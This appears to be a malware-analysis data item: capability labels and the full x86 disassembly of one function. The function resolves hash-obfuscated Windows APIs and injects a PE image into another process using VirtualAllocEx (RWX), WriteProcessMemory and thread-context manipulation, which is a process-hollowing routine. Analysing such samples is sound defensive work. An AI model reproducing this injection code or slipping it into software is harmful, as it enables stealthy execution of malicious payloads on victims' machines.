Function at 0x401e00
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5e4
mov ecx, dword [ebp + 8]
push ebx
push esi
push edi
push ecx
call fcn.00401900
push eax
push ecx
mov dword [ebp - 0xc], eax
call fcn.00401910
push 0x4f50c526
push 0x733a1728
push 0x56081108
push 0x72ee104e
push 0x44787966
push 0x22121e98
push 0xe09aafe6
push 0x737e6b3c
push 0xb88a1e3c
push 0x5cec79a8
push 0x22121e98
push 0x56081108
push 0x945ef3c8
push 0xa3c5842
push 0x39a831ca
push 0x65568eba
push 0x4f50c526
push 0x626aeaae
mov esi, eax
mov eax, dword [esi + 0x34]
push 0x72ee104e
push 0x79eefe6e
mov dword [ebp - 4], eax
mov ecx, dword [esi + 0x28]
lea edx, [ebp - 0x198]
push 0x15
push edx
mov dword [ebp - 0x18], ecx
call fcn.004018c0
mov ecx, dword [0x417ff0]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
add esp, 0x64
lea eax, [ebp - 0x198]
push eax
push ecx
call edi
mov edx, dword [ebp - 4]
mov ebx, dword [ebp + 0xc]
push edx
push ebx
call eax
mov eax, dword [0x417fe8]
push str.VirtualAllocEx
push eax
call edi
mov ecx, dword [esi + 0x50]
mov edx, dword [ebp - 4]
push 0x40
push 0x3000
push ecx
push edx
push ebx
call eax
mov eax, dword [0x417fe8]
push str.WriteProcessMemory
push eax
call edi
mov ecx, dword [esi + 0x54]
mov edx, dword [ebp + 8]
push 0
push ecx
mov ecx, dword [ebp - 4]
push edx
push ecx
push ebx
mov dword [ebp - 0x14], eax
call eax
xor eax, eax
cmp word [esi + 6], ax
mov dword [ebp - 0x10], eax
jbe 0x401f53
mov dword [ebp - 8], eax
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x3c]
add eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
mov edx, dword [eax + ecx + 0x108]
lea eax, [eax + ecx + 0xf8]
push 0
push edx
mov edx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 4]
add edx, ecx
push edx
push eax
push ebx
call dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
movzx ecx, word [esi + 6]
add dword [ebp - 8], 0x28
add eax, 1
cmp eax, ecx
mov dword [ebp - 0x10], eax
jl 0x401f10
push 0x72ee104e
push 0xfdf6bd5c
push 0x22121e98
push 0x72ee104e
push 0x4f50c526
push 0x733a1728
push 0x48c03bb6
push 0x9a92d708
push 0x39a831ca
push 0x22121e98
push 0xbc20ddb6
push 0xc60ac0ae
push 0x9adc9d4a
push 0x72ee104e
push 0x22121e98
push 0xe09aafe6
lea edx, [ebp - 0x318]
push 0x10
push edx
mov dword [ebp - 0x5e4], 0x10002
call fcn.004018c0
mov ecx, dword [0x417fe8]
add esp, 0x48
lea eax, [ebp - 0x318]
push eax
push ecx
call edi
push 0x72ee104e
push 0xfdf6bd5c
push 0x22121e98
push 0x72ee104e
push 0x4f50c526
push 0x733a1728
push 0x48c03bb6
push 0x9a92d708
push 0x39a831ca
push 0x22121e98
push 0xbc20ddb6
push 0xc60ac0ae
push 0x9adc9d4a
push 0x72ee104e
push 0x22121e98
push 0x9ca2f914
lea edx, [ebp - 0xd8]
push 0x10
push edx
mov esi, eax
call fcn.004018c0
mov ecx, dword [0x417fe8]
add esp, 0x48
lea eax, [ebp - 0xd8]
push eax
push ecx
call edi
push 0x9a92d708
push 0x39a831ca
push 0x22121e98
push 0xbc20ddb6
push 0xc60ac0ae
push 0x9adc9d4a
push 0x22121e98
push 0x65568eba
push 0xc3429802
push 0x11927506
push 0x22121e98
push 0xddd0f016
lea edx, [ebp - 0x258]
push 0xc
push edx
mov dword [ebp + 8], eax
call fcn.004018c0
mov ecx, dword [0x417fe8]
add esp, 0x38
lea eax, [ebp - 0x258]
push eax
push ecx
call edi
mov edi, dword [ebp + 0x10]
lea edx, [ebp - 0x5e4]
mov dword [ebp - 0xc], eax
push edx
push edi
call dword [ebp + 8]
mov ecx, dword [ebp - 0x540]
push 0
push 4
lea eax, [ebp - 4]
push eax
add ecx, 8
push ecx
push ebx
call dword [ebp - 0x14]
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x5e4]
push ecx
add eax, edx
push edi
mov dword [ebp - 0x534], eax
call esi
push edi
call dword [ebp - 0xc]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x14